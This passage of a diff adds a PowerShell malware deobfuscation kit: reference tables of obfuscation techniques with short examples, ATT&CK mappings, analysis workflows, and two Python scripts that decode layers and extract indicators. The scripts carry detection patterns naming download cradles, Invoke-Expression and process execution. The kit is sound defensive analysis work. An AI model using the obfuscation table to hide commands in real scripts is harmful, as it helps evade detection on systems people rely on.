| PowerShell | T1059.001 | Script execution |
|
||||
| Obfuscated Files | T1027 | Multi-layer encoding |
|
||||
| | | |
|
||||
@@ -0,0 +1,34 @@
|
||||
# PowerShell Deobfuscation — API Reference
|
||||
|
||||
## Libraries
|
||||
|
||||
| Library | Install | Purpose |
|
||||
|---------|---------|---------|
|
||||
| re | stdlib | Regex pattern matching for obfuscation detection |
|
||||
| base64 | stdlib | Base64 decoding of encoded commands |
|
||||
| pySigma | `pip install pySigma` | Sigma rule generation for detections |
|
||||
|
||||
## Common Obfuscation Techniques
|
||||
|
||||
| Technique | Pattern | Example |
|
||||
|-----------|---------|---------|
|
||||
| Base64 Encoding | `-EncodedCommand <b64>` | `powershell -enc SQBFAFgA...` |
|
||||
| String Concatenation | `'str1'+'str2'` | `'Inv'+'oke'+'-Exp'+'ression'` |
|
||||
| Character Codes | `[char]73+[char]69` | `[char]73` = I, `[char]69` = E |
|
||||
| Backtick Escape | `` `I`E`X `` | Backtick breaks keyword detection |
|
||||
| Variable Substitution | `$env:COMSPEC` | Use env vars as execution paths |
|
||||
| Compression | `IO.Compression.DeflateStream` | Compressed + Base64 payload |
|
||||
|
||||
## Detection Event IDs
|
||||
|
||||
| Source | Event ID | Description |
|
||||
|--------|----------|-------------|
|
||||
| PowerShell | 4104 | Script block logging (deobfuscated content) |
|
||||
| Sysmon | 1 | Process creation with command line |
|
||||
| Defender | 1116 | Malware detection |
|
||||
|
||||
## External References
|
||||
|
||||
- [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
|
||||
- [PSDecode](https://github.com/R3MRUM/PSDecode)
|
||||
- [PowerShell ScriptBlock Logging](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging)
|
||||
@@ -0,0 +1,41 @@
|
||||
# Standards and Frameworks Reference
|
||||
|
||||
## PowerShell Obfuscation Taxonomy
|
||||
|
||||
### Layer Classification
|
||||
| Layer | Technique | Example |
|
||||
|-------|-----------|---------|
|
||||
| L1 | Base64 EncodedCommand | `powershell -enc SQBFAFgA...` |
|
||||
| L2 | String Concatenation | `$a='Inv'+'oke'+'-Ex'+'pression'` |
|
||||
| L3 | Character Code Array | `[char[]](73,69,88)-join''` |
|
||||
| L4 | Tick-Mark Insertion | `` I`nv`oke-Exp`ress`ion `` |
|
||||
| L5 | Environment Variable | `$env:COMSPEC[4,15,25]-join''` |
|
||||
| L6 | SecureString | `ConvertTo-SecureString ... -Key` |
|
||||
| L7 | Compression + Base64 | `IO.Compression.DeflateStream` |
|
||||
| L8 | XOR Encoding | `$bytes | %{ $_ -bxor 0x42 }` |
|
||||
| L9 | Replace Chain | `.Replace('abc','I').Replace(...)` |
|
||||
| L10 | Format String | `("{2}{0}{1}" -f 'ke-','Ex','Invo')` |
|
||||
|
||||
### MITRE ATT&CK Mappings
|
||||
| Technique | ID | Description |
|
||||
|-----------|-----|------------|
|
||||
| Command and Scripting Interpreter: PowerShell | T1059.001 | Malicious PowerShell execution |
|
||||
| Obfuscated Files or Information | T1027 | Encoding/encryption of scripts |
|
||||
| Deobfuscate/Decode Files | T1140 | Runtime deobfuscation |
|
||||
| Ingress Tool Transfer | T1105 | Downloading payloads via PS |
|
||||
| System Binary Proxy Execution | T1218 | Using trusted binaries |
|
||||
|
||||
## PowerShell AST Node Types for Analysis
|
||||
|
||||
### Key Expression Nodes
|
||||
- `CommandExpression`: Direct command invocations
|
||||
- `InvokeMemberExpression`: Method calls on objects
|
||||
- `BinaryExpression`: String concatenation operators
|
||||
- `ArrayExpression`: Character array construction
|
||||
- `SubExpression`: Nested expression evaluation
|
||||
- `ExpandableStringExpression`: String interpolation
|
||||
|
||||
## References
|
||||
- [PowerShell Language Specification](https://docs.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-01)
|
||||
- [Invoke-Obfuscation Framework](https://github.com/danielbohannon/Invoke-Obfuscation)
|
||||
- [AMSI Interface Documentation](https://docs.microsoft.com/en-us/windows/win32/amsi/)
|
||||
@@ -0,0 +1,50 @@
|
||||
# PowerShell Deobfuscation Workflows
|
||||
|
||||
## Workflow 1: Automated Multi-Layer Deobfuscation
|
||||
|
||||
```
|
||||
[Obfuscated Script] --> [Identify Techniques] --> [Remove Tick Marks]
|
||||
|
|
||||
v
|
||||
[Resolve Concatenation]
|
||||
|
|
||||
v
|
||||
[Decode Base64 Layers]
|
||||
|
|
||||
v
|
||||
[IEX -> Write-Output]
|
||||
|
|
||||
v
|
||||
[Extract Final Payload]
|
||||
```
|
||||
|
||||
## Workflow 2: AST-Based Analysis
|
||||
|
||||
```
|
||||
[Script Input] --> [Parse AST] --> [Walk Expression Nodes] --> [Evaluate Expressions]
|
||||
|
|
||||
v
|
||||
[Reconstruct Commands]
|
||||
|
|
||||
v
|
||||
[Extract IOCs]
|
||||
```
|
||||
|
||||
## Workflow 3: Dynamic Sandbox Deobfuscation
|
||||
|
||||
```
|
||||
[Obfuscated Script] --> [Execute in Sandbox] --> [Capture ScriptBlock Logs]
|
||||
|
|
||||
v
|
||||
[Event ID 4104 Analysis]
|
||||
|
|
||||
v
|
||||
[Reconstruct Execution Chain]
|
||||
```
|
||||
|
||||
### Steps:
|
||||
1. **Enable Logging**: Enable PowerShell ScriptBlock logging (Event ID 4104)
|
||||
2. **Execute**: Run obfuscated script in isolated sandbox
|
||||
3. **Collect**: Gather all ScriptBlock log entries
|
||||
4. **Reconstruct**: Assemble deobfuscated script from logged blocks
|
||||
5. **Extract**: Pull IOCs from the reconstructed clear-text script
|
||||
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env python3
|
||||
"""PowerShell obfuscated malware deobfuscation agent."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import re
|
||||
import base64
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def decode_base64_commands(script_content):
|
||||
"""Find and decode Base64 encoded PowerShell commands."""
|
||||
decoded = []
|
||||
b64_pattern = re.compile(r'-[eE](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})')
|
||||
for match in b64_pattern.finditer(script_content):
|
||||
encoded = match.group(1)
|
||||
try:
|
||||
raw = base64.b64decode(encoded)
|
||||
text = raw.decode("utf-16-le", errors="replace")
|
||||
decoded.append({"encoded": encoded[:60] + "...", "decoded": text[:500]})
|
||||
except Exception:
|
||||
pass
|
||||
standalone_b64 = re.compile(r'["\']([A-Za-z0-9+/]{40,}={0,2})["\']')
|
||||
for match in standalone_b64.finditer(script_content):
|
||||
try:
|
||||
raw = base64.b64decode(match.group(1))
|
||||
text = raw.decode("utf-8", errors="replace")
|
||||
if text.isprintable() or "http" in text.lower():
|
||||
decoded.append({"encoded": match.group(1)[:60] + "...", "decoded": text[:500]})
|
||||
except Exception:
|
||||
pass
|
||||
return decoded
|
||||
|
||||
|
||||
def deobfuscate_string_concatenation(script_content):
|
||||
"""Resolve string concatenation obfuscation."""
|
||||
concat_pattern = re.compile(r"(?:'[^']*'\s*\+\s*){2,}'[^']*'")
|
||||
resolved = []
|
||||
for match in concat_pattern.finditer(script_content):
|
||||
original = match.group(0)
|
||||
parts = re.findall(r"'([^']*)'", original)
|
||||
result = "".join(parts)
|
||||
resolved.append({"obfuscated": original[:80], "resolved": result[:500]})
|
||||
return resolved
|
||||
|
||||
|
||||
def detect_obfuscation_techniques(script_content):
|
||||
"""Identify obfuscation techniques used in the script."""
|
||||
techniques = []
|
||||
checks = [
|
||||
(r'-[eE](?:nc(?:odedcommand)?)', "Base64 encoded command", "HIGH"),
|
||||
(r'\[(?:char|int)\]\s*\d+', "Character code conversion", "MEDIUM"),
|
||||
(r'(?:iex|invoke-expression)', "Invoke-Expression (IEX) execution", "HIGH"),
|
||||
(r'\$\{[^}]+\}', "Variable name obfuscation with braces", "LOW"),
|
||||
(r'\.(?:replace|split|reverse)\(', "String manipulation methods", "MEDIUM"),
|
||||
(r'-(?:join|split)\s', "Array join/split obfuscation", "MEDIUM"),
|
||||
(r'(?:Net\.WebClient|DownloadString|DownloadFile)', "Web download cradle", "CRITICAL"),
|
||||
(r'(?:Start-Process|Invoke-Item|cmd\s*/c)', "Process execution", "HIGH"),
|
||||
(r'\[System\.Convert\]::FromBase64String', ".NET Base64 decode", "HIGH"),
|
||||
(r'(?:gci|ls|dir)\s+env:', "Environment variable access", "LOW"),
|
||||
]
|
||||
for pattern, name, severity in checks:
|
||||
if re.search(pattern, script_content, re.IGNORECASE):
|
||||
techniques.append({"technique": name, "severity": severity})
|
||||
return techniques
|
||||
|
||||
|
||||
def extract_iocs(script_content):
|
||||
"""Extract indicators of compromise from deobfuscated content."""
|
||||
iocs = {"urls": [], "ips": [], "domains": [], "file_paths": []}
|
||||
url_pattern = re.compile(r'https?://[^\s"\'<>]+')
|
||||
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
|
||||
path_pattern = re.compile(r'[A-Z]:\\[\w\\]+\.\w{2,4}|/(?:tmp|var|etc)/[\w/]+')
|
||||
iocs["urls"] = list(set(url_pattern.findall(script_content)))
|
||||
iocs["ips"] = list(set(ip_pattern.findall(script_content)))
|
||||
iocs["file_paths"] = list(set(path_pattern.findall(script_content)))
|
||||
return iocs
|
||||
|
||||
|
||||
def run_analysis(script_path):
|
||||
"""Execute PowerShell deobfuscation analysis."""
|
||||
print(f"\n{'='*60}")
|
||||
print(f" POWERSHELL MALWARE DEOBFUSCATION")
|
||||
print(f" File: {script_path}")
|
||||
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
with open(script_path, "r", errors="replace") as f:
|
||||
content = f.read()
|
||||
|
||||
techniques = detect_obfuscation_techniques(content)
|
||||
print(f"--- OBFUSCATION TECHNIQUES ({len(techniques)}) ---")
|
||||
for t in techniques:
|
||||
print(f" [{t['severity']}] {t['technique']}")
|
||||
|
||||
b64 = decode_base64_commands(content)
|
||||
print(f"\n--- BASE64 DECODED ({len(b64)}) ---")
|
||||
for d in b64[:5]:
|
||||
print(f" {d['decoded'][:100]}")
|
||||
|
||||
concat = deobfuscate_string_concatenation(content)
|
||||
print(f"\n--- STRING CONCAT RESOLVED ({len(concat)}) ---")
|
||||
for c in concat[:5]:
|
||||
print(f" {c['resolved'][:100]}")
|
||||
|
||||
all_decoded = content
|
||||
for d in b64:
|
||||
all_decoded += "\n" + d["decoded"]
|
||||
iocs = extract_iocs(all_decoded)
|
||||
print(f"\n--- IOCs ---")
|
||||
print(f" URLs: {iocs['urls'][:5]}")
|
||||
print(f" IPs: {iocs['ips'][:5]}")
|
||||
print(f" Paths: {iocs['file_paths'][:5]}")
|
||||
|
||||
return {"techniques": techniques, "decoded_b64": b64, "concat": concat, "iocs": iocs}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="PowerShell Deobfuscation Agent")
|
||||
parser.add_argument("--script", required=True, help="Path to obfuscated PowerShell script")
|
||||
parser.add_argument("--output", help="Save report to JSON file")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_analysis(args.script)
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,321 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PowerShell Malware Deobfuscation Script
|
||||
|
||||
Identifies and removes multiple layers of PowerShell obfuscation
|
||||
to reveal the underlying malicious payload and extract IOCs.
|
||||
|
||||
Requirements:
|
||||
pip install regex
|
||||
|
||||
Usage:
|
||||
python process.py --file obfuscated.ps1 --output deobfuscated.ps1
|
||||
python process.py --file obfuscated.ps1 --extract-iocs
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
class PowerShellDeobfuscator:
|
||||
"""Multi-layer PowerShell deobfuscation engine."""
|
||||
|
||||
def __init__(self):
|
||||
self.layers = []
|
||||
self.iocs = {
|
||||
"urls": set(),
|
||||
"ips": set(),
|
||||
"domains": set(),
|
||||
"file_paths": set(),
|
||||
"registry_keys": set(),
|
||||
"suspicious_commands": set(),
|
||||
}
|
||||
|
||||
def analyze(self, content):
|
||||
"""Identify obfuscation techniques present."""
|
||||
techniques = []
|
||||
|
||||
checks = [
|
||||
(r'-[Ee]nc(?:odedcommand)?\s+[A-Za-z0-9+/=]{20,}',
|
||||
"Base64 EncodedCommand"),
|
||||
(r'\[Convert\]::FromBase64String', "FromBase64String"),
|
||||
(r"'\s*\+\s*'", "String Concatenation (single-quote)"),
|
||||
(r'"\s*\+\s*"', "String Concatenation (double-quote)"),
|
||||
(r'\[char\]\s*\d+', "Character Code Casting"),
|
||||
(r'\[char\[\]\]\s*\([\d,\s]+\)', "Character Array"),
|
||||
(r'`[a-zA-Z]', "Tick-Mark Insertion"),
|
||||
(r'Invoke-Expression', "Invoke-Expression"),
|
||||
(r'\bIEX\b', "IEX Alias"),
|
||||
(r'\|\s*IEX', "Pipeline IEX"),
|
||||
(r'IO\.Compression', "Compression Stream"),
|
||||
(r'-bxor\s+\d+', "XOR Encoding"),
|
||||
(r'\.Replace\(', "Replace Chain"),
|
||||
(r'ConvertTo-SecureString', "SecureString"),
|
||||
(r'\$env:', "Environment Variable"),
|
||||
(r'-f\s+[\'"]', "Format String Operator"),
|
||||
(r'New-Object\s+IO\.MemoryStream', "MemoryStream"),
|
||||
]
|
||||
|
||||
for pattern, name in checks:
|
||||
matches = re.findall(pattern, content, re.IGNORECASE)
|
||||
if matches:
|
||||
techniques.append({"technique": name, "count": len(matches)})
|
||||
|
||||
return techniques
|
||||
|
||||
def deobfuscate(self, content):
|
||||
"""Apply all deobfuscation layers iteratively."""
|
||||
current = content
|
||||
iteration = 0
|
||||
|
||||
while iteration < 20:
|
||||
previous = current
|
||||
|
||||
# Layer: Remove tick marks
|
||||
current = self._remove_ticks(current)
|
||||
|
||||
# Layer: Resolve string concatenation
|
||||
current = self._resolve_concat(current)
|
||||
|
||||
# Layer: Decode Base64 EncodedCommand
|
||||
current = self._decode_base64_command(current)
|
||||
|
||||
# Layer: Decode FromBase64String calls
|
||||
current = self._decode_frombase64(current)
|
||||
|
||||
# Layer: Resolve character arrays
|
||||
current = self._resolve_char_arrays(current)
|
||||
|
||||
# Layer: Resolve format strings
|
||||
current = self._resolve_format_strings(current)
|
||||
|
||||
# Layer: Decompress streams
|
||||
current = self._decompress_streams(current)
|
||||
|
||||
if current == previous:
|
||||
break
|
||||
|
||||
self.layers.append({
|
||||
"iteration": iteration + 1,
|
||||
"length_before": len(previous),
|
||||
"length_after": len(current),
|
||||
})
|
||||
iteration += 1
|
||||
|
||||
# Extract IOCs from final result
|
||||
self._extract_iocs(current)
|
||||
|
||||
return current
|
||||
|
||||
def _remove_ticks(self, content):
|
||||
"""Remove backtick obfuscation."""
|
||||
escape_sequences = {'`n', '`r', '`t', '`a', '`b', '`f', '`v', '`0', '``'}
|
||||
result = []
|
||||
i = 0
|
||||
while i < len(content):
|
||||
if content[i] == '`' and i + 1 < len(content):
|
||||
pair = content[i:i+2]
|
||||
if pair in escape_sequences:
|
||||
result.append(pair)
|
||||
i += 2
|
||||
else:
|
||||
result.append(content[i+1])
|
||||
i += 2
|
||||
else:
|
||||
result.append(content[i])
|
||||
i += 1
|
||||
return ''.join(result)
|
||||
|
||||
def _resolve_concat(self, content):
|
||||
"""Resolve string concatenation."""
|
||||
# Single-quoted concatenation
|
||||
pattern = re.compile(r"'([^']*)'\s*\+\s*'([^']*)'")
|
||||
while pattern.search(content):
|
||||
content = pattern.sub(r"'\1\2'", content)
|
||||
|
||||
# Double-quoted concatenation
|
||||
pattern = re.compile(r'"([^"]*)"\s*\+\s*"([^"]*)"')
|
||||
while pattern.search(content):
|
||||
content = pattern.sub(r'"\1\2"', content)
|
||||
|
||||
return content
|
||||
|
||||
def _decode_base64_command(self, content):
|
||||
"""Decode -EncodedCommand Base64 arguments."""
|
||||
pattern = re.compile(
|
||||
r'-[Ee]nc(?:odedcommand)?\s+([A-Za-z0-9+/=]{20,})',
|
||||
re.IGNORECASE
|
||||
)
|
||||
match = pattern.search(content)
|
||||
if match:
|
||||
try:
|
||||
decoded = base64.b64decode(match.group(1)).decode('utf-16-le')
|
||||
content = pattern.sub(decoded, content)
|
||||
except Exception:
|
||||
pass
|
||||
return content
|
||||
|
||||
def _decode_frombase64(self, content):
|
||||
"""Decode [Convert]::FromBase64String calls."""
|
||||
pattern = re.compile(
|
||||
r"\[Convert\]::FromBase64String\(\s*['\"]([A-Za-z0-9+/=]+)['\"]\s*\)",
|
||||
re.IGNORECASE
|
||||
)
|
||||
for match in pattern.finditer(content):
|
||||
try:
|
||||
decoded = base64.b64decode(match.group(1))
|
||||
decoded_str = decoded.decode('utf-8', errors='replace')
|
||||
content = content.replace(match.group(0), f"'{decoded_str}'")
|
||||
except Exception:
|
||||
pass
|
||||
return content
|
||||
|
||||
def _resolve_char_arrays(self, content):
|
||||
"""Resolve [char] and [char[]] expressions."""
|
||||
# [char]NN patterns
|
||||
pattern = re.compile(r'\[char\]\s*(\d+)', re.IGNORECASE)
|
||||
for match in pattern.finditer(content):
|
||||
try:
|
||||
char_val = chr(int(match.group(1)))
|
||||
content = content.replace(match.group(0), f"'{char_val}'")
|
||||
except (ValueError, OverflowError):
|
||||
pass
|
||||
|
||||
return content
|
||||
|
||||
def _resolve_format_strings(self, content):
|
||||
"""Resolve PowerShell format string operator."""
|
||||
pattern = re.compile(
|
||||
r"\(?\s*['\"](\{[\d\}{\s]+[^'\"]*)['\"]"
|
||||
r"\s*-f\s*([^)]+)\)?",
|
||||
re.IGNORECASE
|
||||
)
|
||||
for match in pattern.finditer(content):
|
||||
try:
|
||||
fmt_str = match.group(1)
|
||||
args_str = match.group(2)
|
||||
args = [a.strip().strip("'\"") for a in args_str.split(",")]
|
||||
resolved = fmt_str
|
||||
for i, arg in enumerate(args):
|
||||
resolved = resolved.replace(f"{{{i}}}", arg)
|
||||
content = content.replace(match.group(0), f"'{resolved}'")
|
||||
except Exception:
|
||||
pass
|
||||
return content
|
||||
|
||||
def _decompress_streams(self, content):
|
||||
"""Attempt to decode compressed Base64 payloads."""
|
||||
import zlib
|
||||
import io
|
||||
|
||||
b64_pattern = re.compile(r'[A-Za-z0-9+/=]{100,}')
|
||||
for match in b64_pattern.finditer(content):
|
||||
try:
|
||||
raw = base64.b64decode(match.group(0))
|
||||
# Try deflate
|
||||
decompressed = zlib.decompress(raw, -zlib.MAX_WBITS)
|
||||
decoded = decompressed.decode('utf-8', errors='replace')
|
||||
if len(decoded) > 50:
|
||||
content = content.replace(match.group(0), decoded)
|
||||
except Exception:
|
||||
try:
|
||||
# Try gzip
|
||||
raw = base64.b64decode(match.group(0))
|
||||
decompressed = zlib.decompress(raw, zlib.MAX_WBITS | 16)
|
||||
decoded = decompressed.decode('utf-8', errors='replace')
|
||||
if len(decoded) > 50:
|
||||
content = content.replace(match.group(0), decoded)
|
||||
except Exception:
|
||||
pass
|
||||
return content
|
||||
|
||||
def _extract_iocs(self, content):
|
||||
"""Extract IOCs from deobfuscated content."""
|
||||
# URLs
|
||||
for url in re.findall(r'https?://[^\s\'"<>)\]]+', content, re.I):
|
||||
self.iocs["urls"].add(url)
|
||||
|
||||
# IPs
|
||||
for ip in re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b', content):
|
||||
self.iocs["ips"].add(ip)
|
||||
|
||||
# File paths
|
||||
for path in re.findall(
|
||||
r'[A-Za-z]:\\[^\s\'"<>|]+', content, re.I
|
||||
):
|
||||
self.iocs["file_paths"].add(path)
|
||||
|
||||
# Registry keys
|
||||
for key in re.findall(
|
||||
r'(?:HKLM|HKCU|HKCR)(?:\\[^\s\'"<>|]+)+', content, re.I
|
||||
):
|
||||
self.iocs["registry_keys"].add(key)
|
||||
|
||||
# Suspicious commands
|
||||
for cmd in ['DownloadString', 'DownloadFile', 'Invoke-WebRequest',
|
||||
'Start-Process', 'New-ScheduledTask', 'Add-MpPreference',
|
||||
'Reflection.Assembly']:
|
||||
if cmd.lower() in content.lower():
|
||||
self.iocs["suspicious_commands"].add(cmd)
|
||||
|
||||
def get_report(self):
|
||||
"""Generate analysis report."""
|
||||
return {
|
||||
"layers_processed": len(self.layers),
|
||||
"layer_details": self.layers,
|
||||
"iocs": {k: sorted(v) for k, v in self.iocs.items()},
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="PowerShell Malware Deobfuscator"
|
||||
)
|
||||
parser.add_argument("--file", required=True, help="Input PS1 file")
|
||||
parser.add_argument("--output", help="Output deobfuscated file")
|
||||
parser.add_argument("--extract-iocs", action="store_true",
|
||||
help="Extract IOCs from result")
|
||||
parser.add_argument("--report", help="Save JSON report")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
with open(args.file, 'r', errors='replace') as f:
|
||||
content = f.read()
|
||||
|
||||
deob = PowerShellDeobfuscator()
|
||||
|
||||
print("[+] Analyzing obfuscation techniques...")
|
||||
techniques = deob.analyze(content)
|
||||
for t in techniques:
|
||||
print(f" - {t['technique']} ({t['count']} occurrences)")
|
||||
|
||||
print(f"\n[+] Deobfuscating ({len(content)} chars)...")
|
||||
result = deob.deobfuscate(content)
|
||||
print(f"[+] Result: {len(result)} chars")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, 'w') as f:
|
||||
f.write(result)
|
||||
print(f"[+] Saved to {args.output}")
|
||||
|
||||
report = deob.get_report()
|
||||
if args.extract_iocs or args.report:
|
||||
print(f"\n[+] Extracted IOCs:")
|
||||
for category, values in report["iocs"].items():
|
||||
if values:
|
||||
print(f" {category}:")
|
||||
for v in values:
|
||||
print(f" - {v}")
|
||||
|
||||
if args.report:
|
||||
with open(args.report, 'w') as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[+] Report saved to {args.report}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
